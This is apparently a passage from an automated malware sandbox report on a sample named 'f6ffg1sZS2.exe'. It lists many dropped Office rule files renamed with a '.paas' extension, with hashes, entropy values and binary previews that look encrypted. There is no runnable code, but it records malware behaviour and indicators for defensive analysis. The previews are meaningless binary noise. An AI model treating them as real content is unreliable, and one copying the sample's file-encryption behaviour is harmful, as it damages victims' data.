Preview:	<?xml.......C...c..o...{..oe.C....Vt.....(..J.Z...].,-..AS...1VN.\|.I.. .Nb6.H....P...k,.z.B.u!#..m.....o..w....2%~=.......%1..`K..@..qs{q.V.k(qt\j....b.>.q`..8.Q..m....j}...M..T......\...I.w..D.2...h.\|....s.w.f...C.d...;....<..n..7%.j..h/_...?......I...H...n.@I6XK.D%..#I.....0G....c...._.H...JNE....>M.H.O...V...>`..E.....7-;....3+....,.W..%...Ffg.M..l&.j..9.u..:.qC....nZ .....n.d{K.`..`.^.U.-..xNT.u..L......_.5X...j.b..3{....'.4a......c.......He.gC.q..8.H.....o..w=0....q.0.#..h.~8D9....J....NEx.C.V...g...(..w..n..nZoK..(..s.H...-3...y%......52].....G..\........... .9..V..u!.....KYj.............Y..V.M.,..MP.\|..g[........dY. .z....P..;..GC.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.805328909930679
Encrypted:	false
SSDEEP:	24:qUszh9A8zM4dsYtqNjtntU7X/BUmPXHL4F4JFzQKFSJbD:fqAsMivt4tt8/BUrF+xTFSpD
MD5:	189949C153E0440426EAFEBAD6C66301
SHA1:	FF447094F0447932942AFB13193A08997DB92FDA
SHA-256:	597618923E23C24B34D984765EC9066D2877809CC09EACEC390A1385BBCE078D
SHA-512:	9ABC03F9AC966A8738357D428171548C0E30D5A1FFB3557EAFAFBE972D8CE035449019057B999A263AF3A57D73127D4DBF463E702572A6AAEEAA5E9148A4B027
Malicious:	false
Preview:	<?xml..q.Kv..V...v.h.#Vt}.ZORDw.....g89...7..J.....}..D.B.V..Y..].;f,..1..H.....c.1.w.yZh.%.8x....\..K..Rf..&.9=.'..zR.[.........e.0.....'.a..._........,..y5ed..e......KJ..0..oP.]U.7.0.~.8.).o.\|O`P....BNv.D.....g~...q..#V....z.........8.B..j...2..$...G.X7.....>..:b..MV.1...V,.......f.~....i........._.R.N..i.&......M.{.....!..Q.'..Y.w......V.0J..Y.=.M......cQ@z..nY@.h.VQL~.i...O......T.Bo.k..S.f.=.,<.i..8....RQ.O....A:.....x.:C....Z..w...F.......M....Z.".D.{.D..#...w.L.w....bJ...]9.-.i[.:".o...W.H.U......k......6...d+s..S...jt...........e.m.lS..e..x7..l..`y.b.....e6Km.L[3.8j....(.....b}..y.....f...'.X.EV9..H.......TB..'..E&..Y.\|_..s..KN.y>......@..e.V,.B.lyYtw.Op......Y.B..OG5....}.z..7rZ`..Jh."KN...h..>m.]..?.D......YP6.@...rPvD..D.....t.q.r.Ttp#V.Mt_.y....V?..n....d.^.p......D..~Ph...D.k.E6........`V.....i...NxZ..O..!..(....%.j+....,2...<..w.Z../....x._..Zm....N..Lz..=.\............G....KG.e.w.Q~...D2..a..G.\|.O+..(x...p..GrB...3v.KF

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.589449812873927
Encrypted:	false
SSDEEP:	12:y87N03UM80Sx1ZE0XoKvd5qEhzarHrSnyXS2cii9a:Ri8X1ZZXoKbarHrSynbD
MD5:	B43F7992D90DB5AA5B2362257411572F
SHA1:	F7D1348D276BEF20648209BB6CDF9625319A7066
SHA-256:	07C8BC6F9E0FC99D5866A737BD07A89E16B583840F7C03C88CD85EEB40EAEF7A
SHA-512:	284091B0C8D04F7A889EDE09093B068DC588F3AB808E4DE30365C139CF0BF1D7896296E515B11C4C24E0637FA239A90F7AA88F76FBB1E3929728014994EAD144
Malicious:	false
Preview:	<?xml.\Jp.......c....7.,.........(Mf.H......9.EM1...m.`..Z!fE."5.5\|.;d.3'..]...e...R[.K..r.v..q.~.'..<..Bn...^...j5.`..4..............Q..?z...]..K...^.c....n$..c.-s.4h.K/x....[.K...XL_..\|....-L....F...2...1...r......p....Fl.. ....._......Q...p....[..(.....XoH..hB..DY.t~\..J..9..bfC{c.1...3.... ...X.ej...IW>.....vj.Q.<j.{(f.2P...X..F!-.w.....v..GV....C..}A.kU..~3s79..4kk.P].]..;....w.....2...A....$P..kwF..-......9V....\.\|.....X.p-.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.9169514605082005
Encrypted:	false
SSDEEP:	48:kWYVOvuBBGbdrSEDPvVZoBhjfoTAj1Huqf9e/YuB8AyQLj32697B+aD:7YVOvuBBGblPPdmhjfoMxuJfaANjxd+y
MD5:	1B7A559CF8AC0DE93905892FEEC4F57E
SHA1:	E033DB8A71DAA7698AFF0047E71486261B70D6FF
SHA-256:	B1DA90A2ED91612442BBCF97B74C5BF8267DD4C53B52F699B37F3133B7E226AA
SHA-512:	69522CE8E75CDEB6D0BB78C5BACF164E61E1C72CC98550B0BAC3401E1D61B1B6C9AAA7BED9059E38604FD73E2D45091DF7D6F3B3EF8DFDA74DC6FE41FAD98DEB
Malicious:	false
Preview:	<?xml......@d....u..I....J.&....{.....&...n..}=..........2. ...D.v..Y~L.Z....r[Y... ...U.....+....kcD;a.6MR......!.0..."j.X.`..\|.v..Z.kC..&.S.h..S..._..(..xRn.6~....k.......B..cz.{.7....TE.......Oas.n......<G.v..&..x.NN..G...r...m..(.!-.M....t......3...../.....]......8...t....Omd...\S.;+....h.w.'.G.......D...m..e..?....(...7O..=..WU..O.udP..w#?m.?.f..p..n..=.I..W.-8.(.H~....a.9>.[,.~x+.....4..~$....[!6.7U...l..c{..2. 2.S(.r....s...at.=v.(.5.......I...#.I...<QD.....+.Z...\|.W..,<t.....Z:.[Z......?....Z.e...v.$.Z.T:.}u.a. &.q....L\~p.@t..MA.%...K.q<.E.\|l.....#.oA.....q....n......l........7.q...&.y..f .K."iw..pe...E..X/.......gU.L._%Q.u.....].>.v...d$.M...?-.k....v.D..e$._j....s..;..O.,d)3I.D9..........3.f.;u.CEC...D.gH..usI.1b8.....YP...l.L..`.*/\..I...._..9Y/..=._..\....9d.f.h..I.S....{.Jp.....j..,..3g.%...?R....5.u......I..R.#.wm..u.SB.$..y.B....2.x2.Jm.xa09h.n$B.2.X.....p.u.....M;vH.D.....U_...\..8'n..\.#..~1......9.I=].O..T.6.S....HT

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.685772268025442
Encrypted:	false
SSDEEP:	12:wGE/dPNVaPyO4UGsHoAX6UZl9apnMfZoqhMi73iB4GKU6UOyt4OzH03MFyS2ciik:oUPyXUjWU8xMRo5i5GKUndKOzH+MFybD
MD5:	9AA4855D06F1211347AC7D3D08F630E9
SHA1:	3899CA0399236D3E1D3DF2CEED44AB5F677DEE47
SHA-256:	2A9FC63098A6C1BEC0596D5164B55F2AA34F536F154280785CA38355B3912F75
SHA-512:	6F6C1D561F01E3C1CC0B7706C680CA38A605BB1038F62CB56D5C2287280B0FBA77F618B2F3E0249C0D644113FB37426D728A6A1458612C25975A05351B49C596
Malicious:	false
Preview:	<?xml.8.jy....... ..!..\.........{.q. ..9-.m..q.c....@....6H..^@P./.....u8.u.V..do.;..2....?.........k.}d2.F.{k.U.Hc..x`....:.L..}a..........'.s..(...Q.c.M...eeIP%..w..FW..........&J.[RV....pB[E.,@.1.:..V.D...5..&.]S..s...x.............R................V.NB{.P.'....$[.X._....7.e....}.@.R..h.V...P..n.TK~..4...}2.-,4.:.... ;..M...[a .<....?.@F.^..w@.<:...G.6..j@W..C.j...F.j.o.}..F.r..."2.y'.BW.-Y..r.vj.4..(..~.8.rV..3..X...oP.$n.se.K.3....P..n.4Np.m.".L...N>.m./.Ps.x..(.2(R\B....XqU1...4X.1{~).p.<7.....XFL.......x.WJx..W..A.4..]N.W...L].)..b.."..y...v....r.(s..0._....S...#...^=C..[3......!_.W[L...;..Q.,.}.:D4#..S.s......kH.4.0.O..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.716643838251082
Encrypted:	false
SSDEEP:	12:1yp3yhWppkcxIyF5wX8K45inaVgZd8F8ao2ny97Sl4EuxKyugsD4Zrxtz8dcuS2X:1KQ8kc+p8LI2g0mRIy9PzxKhWVt/ObD
MD5:	6457D00A7C76A3FE1CE7C793A107647C
SHA1:	70200E7DFE56926ACE96EB632B490FBAF761A5F9
SHA-256:	C9B37FC80AC9A60BB36C4D77A5EBB015BF4AF0086AC2021519307C20555629F6
SHA-512:	CB13E716686214088736A3EC66E4A44B16B67EC730B384A069E2FF6419FD4A2F1D4D338669AAEE1D9E2A43E1A253D93F5F64B683C82E0DC9A40A4306359B3267
Malicious:	false
Preview:	<?xml..g.4......s.j.Q.....f...]FA.Y..`..s..3..<so........LX....[W..X.....SSR.>.%\L^^6....XC.......A.3..tq...........N.@.i..._,.I..C..d...;.q.#O+.'%pzC.C....c.z4ro..c.."+...f+....<.Z..i\'Fi...H...B..{..2....i.....34-.C.^...r.a7s...r.O..2...].gm........f..c..x....%...4.........8.@.X.1...K..V..W.........+.Y..Y..q.....^.y.dpl.D4.....<..K[09..QE.=...g..........3.gh"^..r.5. ...p.Z.....yey.5...Y\|..!.4.}.4..D......).Q.....v7....aE..x./..T.1.}.zOy.U...zr.(.......L....7.5...t.P<e.....aD/d-.1C.......Q.:...t...vj.t+..>.\..O^..?&/.\e...>@L.d.4..r.n.:f..i.n....^.........h..Vl^..n.\)(...y..g..1=..oh..M.i....R.{.C..G...e.s.....Nj...m)..D..?.W..7y..dc.{..L=.Z.O.OF..J..q6..v3..0...,.....?.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.681995333210702
Encrypted:	false
SSDEEP:	12:Q9mXbEg1KJGHXdX1qALft3T4p+SyaGYoproMCBAI2Wiq3qUU2eqc0KMHmKEJnTjo:QQAgKJGHd1qwN2S6JWGXuqc0NGKgnNWv
MD5:	ACE126EB5FC3AA9413C56E526DE6D027
SHA1:	39B7CA0EB34D207D869DFBA5003B0A9B6C84C880
SHA-256:	EF0A6506061EC9C4AAAF5E666B10CE0150D273646F593DCFF2167A7A2AB5EC94
SHA-512:	F4C5CC15341F81A498EEEB2C5661B33D395B02FBA79655C9981CBB6F1FA752A37155AAD0924B83E2D6171C1958E90165DF9CB0DE598D7180BD867BF9DAA690A4
Malicious:	false
Preview:	<?xml.Ev.I.}..N"B...b\....p ........5.i......).@.....F..p..S....2...V..s....B....K.{..R>..UO..TT.(...:.T...OT.. ....n...=.. M8..3.x..h..N......q.db.X).}~......u..4x......!.....Y3b.f......`l.As%p....f...G..p..A.;s..SO.;.>6B.?y.{42L.P.....D..Z.......~i1N.............Vo..Jx......^LF.$FXZ...o..[.Td.AA.\.L\|.......D"....z.ct...*...l..n.s.K......N...b1.. }.G.a.[.{.nQE.7g....xP.=.{......F.=...FU"g...Qq...F.r...@..v@........XSpK..}`+.6..Z.8.?..Wx.?!0........l.v`..L...4... `<R....)G.vAQ...B.9."..r.......A..Nj=e.%..\|ZJ.....%.;F..KsU".....d.q..v..U...!!...r.a.#z-oa.OL.w.A.u..$>"..U.E,=q._\.l+]l.A.....(..<..2.56.5.a..#.....3...:Bnu.2...&.D.n.7LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.73672008389154
Encrypted:	false
SSDEEP:	12:mcDqtfSvr9wVQ/h00NTjuBFhRfkzY/+MzrWJ1fyhozSIhyf/I7FY6JeUYs1Q4hSw:msZxeQ/1tMce5Cjy8HQA7S6JFy45bD
MD5:	1647C0494E61820FF322EA7A45FACBBF
SHA1:	77586F412A111BDAA0C80F08FF06473358911FF2
SHA-256:	58DD5E4D3716B10212A80F76091A8156BB10901C5698AFC7D37D0A8EE39F143B
SHA-512:	30CF543B22C5B5FD7D08B5B554CDE67A30392F36886A194CECA5745DB0DCC2ECCCE675720A9904833CA2AB1728901D5EF6C7EE2D00255FBB0A9370A98274D898
Malicious:	false
Preview:	<?xml.._...=..2..8..!@......<.)o"X.C.........>....Szbp.@>......@1.Q..X.c.l.Eo.Q.....e....$.....N...7..HO...@.....V.v.oh..0=Q.`.N.-..f......tmp.._...H!L.i.....0....d.......\|.b.........."T.=.]..FS{T$9..]$P._.. ........U........9...\C.%..`....DS.X:..T..B_.@..y8..f..`d.z....f.9.}.7..k...}.z%{.NM..)...iY..g.5O..q6&.-+i-...m4.N..d@..~.i....o.0...;JSC..hu}m.iU.:.'.{. ./]......Q}S.mP.3...P....qV.v.Y.....f;........!.6.Ri.B......].8!..6..........g. ..#8...:..p..%0J..s....c.......J..........!s......~..\|,_.....Z......>.&.. ..L+. .Il..X..`..`#..........%&...;....^AyQ.R.:..o.(a.h....9.?.t)..R.0.H.I..ic.....3..7..J.S...../...4.i.f...M(j..o..}o.`.8....E.,.V..&.w..{.........x.LQ....KQ..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.79740888850308
Encrypted:	false
SSDEEP:	12:i7+gAFcAJ7ZcFClCStawgtq1z+rckw0wwXyDOhNlWDTzi7dAi/tIuIC1E3AjwH1B:tBFck2ClVALqULw0wsNIDeAi/YwjwTbD
MD5:	1C2D1B936086E65973DA436156DCABCB
SHA1:	1EFFFD6240A3958AD8000084C60A6C8C2D829D5A
SHA-256:	2C2B5CDA2F711BF007F17AA9F75EC58E3A4AF78F3ECAE67FE18B71066B2277D3
SHA-512:	58025E675065EA42C6A50E11D1140C8EFD1C9B58B6B804471AB8F06CA3488EF93E76696B2D64DC1DEB01366FB9B88033280301E9671C4F0C8C01CCFD0F582FB5
Malicious:	false
Preview:	<?xml.Tq\...V.h..1.291A..yU.....lS.~...@9.9'?.....I......9.Z.f\...J....?....s..vE1..............T...Q... ,.(.#a.]w...6. .@..b.J.......M.d.V..=.1/.O.uX.N.=...36~`.b:%.2...X4."2....%.g.=.\|K._..{.b$.R..`.4.3.........K fq.......O.T.C...+\...4......6.5}M..8;.pQ....&...i...z.g.J!q..>.]A.S....f..,.IQ.j.4.S..+..O..N.../Yk.x.....F.*)...n..7I...F../8.3.-.Z....h.q.[....r...?...."..;3.,...F..3.....>x..U...I0.2tS.g.\|......].K.......gV..%M..;...u.A....P.;...R.V%......6.,7.:."AN.O.A.zCO.....:.6)#<.V....S...4.......t.....W.......nPA...R. $G#E........i..Z.{.3!$]..A.$.@..uFQ....{.........W(I.a[....X.z.}.M4.......8..$4."kh.K.$s.j.t\.j.,.)..D...^.w....."..\|t.:.q.W...O..\|Q.g......../..U..d...4..W.?..).N7...\|...q~...fd^>.\|..(..2n....k..(.....?.....E...z&.....)...Uw..-.M=.........~.......`..v2k.b...c..j.}s>y...E..\|?ZsR....);.J>..\.b......p).LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.753658265052377
Encrypted:	false
SSDEEP:	24:+c10zcUWySTuBujUXz9g2uEa0Ttzq9CnbD:+IUoTuBxggb/bD
MD5:	C710176E42F12EF1FED3CCFB15D5DC64
SHA1:	599520385A70D05D098FDE4A9112DDD5BAD5F5FC
SHA-256:	005A4523547B37E135DE445E5F54F4A5EE103F367547FEC77DC36D9931642237
SHA-512:	75581EC014F8E9A9F31DEC06D49AE7D557B6D98A662E8E749C89A42ED82BA7CD2805A81178577C67325A3FF08E7CAEED8A5458CFAAEEB415288222CC19B9280E
Malicious:	false
Preview:	<?xml.....:m.....P.[I.x...7......a.....S.......e..R.T......N.p..~NZ.K...}.TN..s.......0...X\!.S..S.8[.........K...........Vg7..].B..... F.5..Mr".......O.~G7...I..h.\k......d..ivM(.8V.....`.hk.....PWZ.....\|.....G{O.K..p#:...D..J.;..7\.4:.6..F.....ry....@2..,.....8.-.A\v......C.H....,.:....J.K.>(.Q..ft..9....H.[..6.(x5..)....9.)...h..)R..........\..4...JwX.Uu.]..5~....@o....8.(..!......p..g``.x..N&{..-..S...#l....kJF.xO.88Y.....~Wn;...".H..:.=.g ....1.&....D/'.6>"..j.R......+.........03..5....a.y.Rh2.OHTC..............gt.bL.....H._W..U,\....<P.^.c..j...$HS.I.s^....#0.`5....-N,.E...*...c...wS..h.....c....\|..w.h%H.n.eI...u/.d.%3.km..F....Pr..g..k...1.W.[l.H...P.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.704574734039168
Encrypted:	false
SSDEEP:	12:oZlI3LVyTIYUfva1EQysgMRFfKmzO1ttz22mlLgWgxpTzMzSloUUNIzhZS2cii9a:o8bsTZU691gizO1SJgWgxpTzMzkUWbD
MD5:	BF3E4956F26F8B0234950FC55EE069E9
SHA1:	CACAE392B02D5B238D46CB6F84C8EC458DB7F113
SHA-256:	394EFA5200D39037F0D769F374755AAD43F66BA43A126EE68EE5287DE54B1046
SHA-512:	B74D4DA7A5F5E8D88F25B29B3F1F8C828F520B06D717A25B18BDF1B8AFE57AF32794F90E85F6FC2DADDBE41F099E1486037CD56A67B5E655B12A020C1194CBC4
Malicious:	false
Preview:	<?xmlUY......"n...5..^....3M...I^.aLBq...~R...M.V.L.(........`..x6.v..%...G......$?.2..'..>..4qd.$..Q...... .3.zFFb&.@J....S.gC..}..B..1..C>...D.:..NG.aD.2Fgwl~...}^...X.d.g..^....+.@f...x7[znT=c.........s:KqH..[...Z...D3..,.TZ.@...lf....NZ#I5j./>H"%;.$....L>.5.9...>-.k....=.l.L..q/S...b{..b..9{.1`..mY.....1..l:..o....h.G.UT,.Na.2O..C.h..'.@.z9f...........V..t.....l..6..3$zy.t.'B.x..k7......38Q.3..8.<W.T-n.5...Q..A"kR.=\.S..k}..y*/.8.._M..........,......R....me......~....n?....V?.Kh[.n..MY..s..6E..#.3.........Y....u)..'7(..0.\k.....+.ip.?....4..A..>..6...}..q.X'K~...t^..h....0...... 8.j..l"...,..%..5.xl.....-q..5V...>Oy...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.7266666090829395
Encrypted:	false
SSDEEP:	12:HRIwDbhOCI3OfRZ40w3tHd/v3MUWoj2OrrZPlYNPZsAEMlTqG2xmPhxTAS2cii9a:Hy0hOEb40wh1vcUWojZm1qGAmPfTobD
MD5:	5C06A6D7B689C63288BB902F6F5CD1CB
SHA1:	C26EF9B29F6A3DFD12F6E97D75ED80DCBBCFD9D5
SHA-256:	05DC99BBB264D8E7C30AD55C3C9129BB9C79D1FE1507A18CD3F37B8B66A71325
SHA-512:	6E7B5039B2A2E41979A4D093B824CAC636A13DEB2503DC8BDFD5B16F31DA588D9B9105686C09CCFA84D4F8C482714E54001D04EF0D7DFF2AB7CAB6977155C4E0
Malicious:	false
Preview:	<?xml.....\|...V..n.Rl......O....l...K.AA...t`.../E.s..xSa._qX.t..Y.gV.w......U...G.5....1..:.]V2...\|).!)}..RR..1..o.!......_f..."...G.D......R=r6.. _..{A]......w.`.M2.T8...T...........k..A.wS.M.x.H.........^...l..zBO...g.....xt......4..\..x...Id...z.....R.kz......ZK........#;d.o.J .~......2...C.s?...(...4z......Z...Q.....i..@7g.i.FV.6.iM.F}.C.o..@m..3..p.....o...8. ...].....B..]..:.4..6..zp.o.... .S..........x./f...'.M%_.,..`..S8...kC.......w.vH?m...'.%4....Q_.K.".6.v.+......@....n.w$....Z..)..vy.....v..z&ei.0K..p.y[.......S....a.....s2S....p..1/1R.`#GU}UE......1D\|.q..Vqg:...w6-...;...}.....g$.k....k.....A.KX.6.7;..,.].`_.(+.;..........IIy..b...QoGh.5...~.>..R........K..>.I;..j{...My,...d&LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.722548276413463
Encrypted:	false
SSDEEP:	12:f8lvogXgkwROHxySzu9t8Wthbzm2mqYLX6RzTPCtCPBUjXtOfOPX9nS2cii9a:EV+SH8SK9mWthbzm2QLX6RKwPBsk2ZbD
MD5:	15C4D2581AC69330F6AFA3E8E3ABC454
SHA1:	36F0475726CEFE85DB9F847D8A31712E4AF1BD42
SHA-256:	493D0D0539A3C56452547BD8ABC0775E595544A8F269D3B36C75D16DD79405EB
SHA-512:	D8F195D082E2603B6408C4BBE4979F6B30F9B3D27535BFA4E2AD73637889F98EE8E9C5F963F59084243D9F7273CF04AC0FE7124088058408273D107E65081D84
Malicious:	false
Preview:	<?xml.=..o{...V"9...)A...,.r...m.L...0.Q~..px.<~.M._.....f.V..i.#}......o.5?n..../.Rz...E..-JCE P.q........;b...U...-k..3.e8]....$p..w.!^..V-5.:A...J>..sZ,.De..@.Y....`kJ....w..3..C.....R>.BR{.aW&qyke..{..Y......I..j.g...[._ ai.]...CFS..M..0}.Q2.........&>........zZ.Y.cq..k...Wf..=..y.\[.w....;u.d;..4.. nO.+..o.wL....6...U.G..[.....y...t.r...:-_.&z.].s..s..d....PY.Au.].......).!:\.'\0.....Q:...-M......AAr"....;X..+.b...UQ..%.Qn..0.X.CdXe=......$cE_<..l..T.00`;'.t...#...%zCr.aAx;..d.....wv.q.3.&..W...X..*\|d..cf......{...gV..Ny.\.Nn.&~..........x.~+@....b:&.s....6.....K..G:.%.gE.e......ed..8#.;.......m.G.>'.../r....+...t.[......Z....>.94}LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.729104198302032
Encrypted:	false
SSDEEP:	12:9jhNnIo91dj0iC7MdnI7Gn7s7aSnM01cYliefhzL4Cu280G6lka2TfVzF3S2ciik:xhNB5wiCinNJoJlishnH80CVLVBHbD
MD5:	AEC3E0D1DEB248393867F735998EDC9B
SHA1:	382734F85359F8381934D12A44CE9016FA48ADC6
SHA-256:	8CBAA42901BD947EF04024304AE9E0456907F7D04A023137A02F2528EF72CDF7
SHA-512:	CD91B514DE966AECE4545FCCCB582B91FFD849737536FA48099B4E718314A4E363956B33268F67AFD38588D340674BEBC1DE5596F6EBFAC8F9A432AACF489806
Malicious:	false
Preview:	<?xml{.$...Ww....e......`.. .z.[..ns.G.........X...........3.5].w.k)......p.....4....<..1..CW.h.@..S...a0..QJ........T...2Wh..n0e..Cj2.6 {..23...p.k..\|...L......z~x..c.....&.2.....o7...d.0...kJla9..d_A..W%a....X.....l..0Z&Z.7..../R%.!. S.l..sp.jmn"...\|:Q..T......:...C..$.......-.~.....6..[....#.....T...<.s...iv..\|.^X..N...Z.q..4$.. 23a#M."..pA..#i.Wz..wI.aM........%.`og{......6i..}....vn...`.l.$...d.b.\|.gh......{o.,C....!AB.7-.@..)N..w.n..Fh....._...Y.%....!....l$H7...t.!)....Y..#......,3..QS..Z.2ak...-L?..l.........z...T...[.+...Q....0.Qu#.SpL....+f...Y...o+...b... .]@o....Z.:8.A.;M..Du.l.l...i...~......53......V...N..q$G...<../....sw..T\|.%9Lp...0J......*..[.&_...:1..........Z.....90<...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.711465371681215
Encrypted:	false
SSDEEP:	12:NzF181R4GZN4IEw95Ue1QLm68ogZwFGo93+snS1Xrt9WIC4NzZwlKToLa0QV0RQF:NzFS1yG34IEwZQC6BgZwgo9Dn4Xh9bC6
MD5:	9CC627E05A89E7B7F59E46069C5CC4AB
SHA1:	B91F2D0317CC19C3136BA68560158ED68959DB70
SHA-256:	70F323F9C0D635042B8213FB634626F3321DA53761AB2608E315C4E6D4C42912
SHA-512:	9EED6B38CA39B966D4095B08032E66904A69822A9AB3E60DF7B14661D8E45D3080EA989EFE4CA0F01671C0E15CD357D3F7115B2CBDB5729A0F1D82E5D53681E4
Malicious:	false
Preview:	<?xml..k.R..G.^F......&..u.y...-....{m..E..3O..8......".3z.,..M.%J.F1.-..n...!......E..3..^..vMU.....2..~8.yT....k.2.d.l.\...S.A.....E..^.."FCb..z..i`..+.\|7..........s...R.i....i.3.V"....m..BG....B. ...[3...L...P.... ....p.O...R.Q....f....M..8.h\|.kR..w&.......qy.%K............#.>a0.\.`.p.8.X)r2..u..^.!.P..a...eaC.>.....?c.`v.]I7..`.(.L/rF6A6....P..%..`%...A...E.....-.Si...?.A..K:.o.Y.....%.Q.D.H.&A....A............)kv...Z...nh.[....^..oRTC..4!`'.....+a.9.9L.h.#.2....~.......].3<.zQ...SI...HSV............U..b...>.=...xi.n...d.....W_...E......U.6}r.6D.U.N.H..)p{....$h....:lZ...t...,>t...&....Y..x..mG}......\.l...f.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.739043795252585
Encrypted:	false
SSDEEP:	12:KPS3iyRQ3B1/oVtqj3bEFvETVAcaD0Sz/0y2oKvpoNWOh66hm1rglDLyceGS2ciD:K6iyk1/HEqTVO08cmKhPP6hEYXyfGbD
MD5:	760718B76972FF2E9D164BED7C872842
SHA1:	76FD35050273A7EEE79E713AE38E32C1BDCE12E2
SHA-256:	0191D167F959E2A70FAF3115BE814D35E8C7F1C02FF13C722513CF61EECFFB8F
SHA-512:	9BC77B934216D407B7FE681E1142A6D44C89132635D7F93230858A44CE4F0019B7332840A6EDA12F0988F958D280AA1E6E7934E279122CE12C924412DECE225D
Malicious:	false
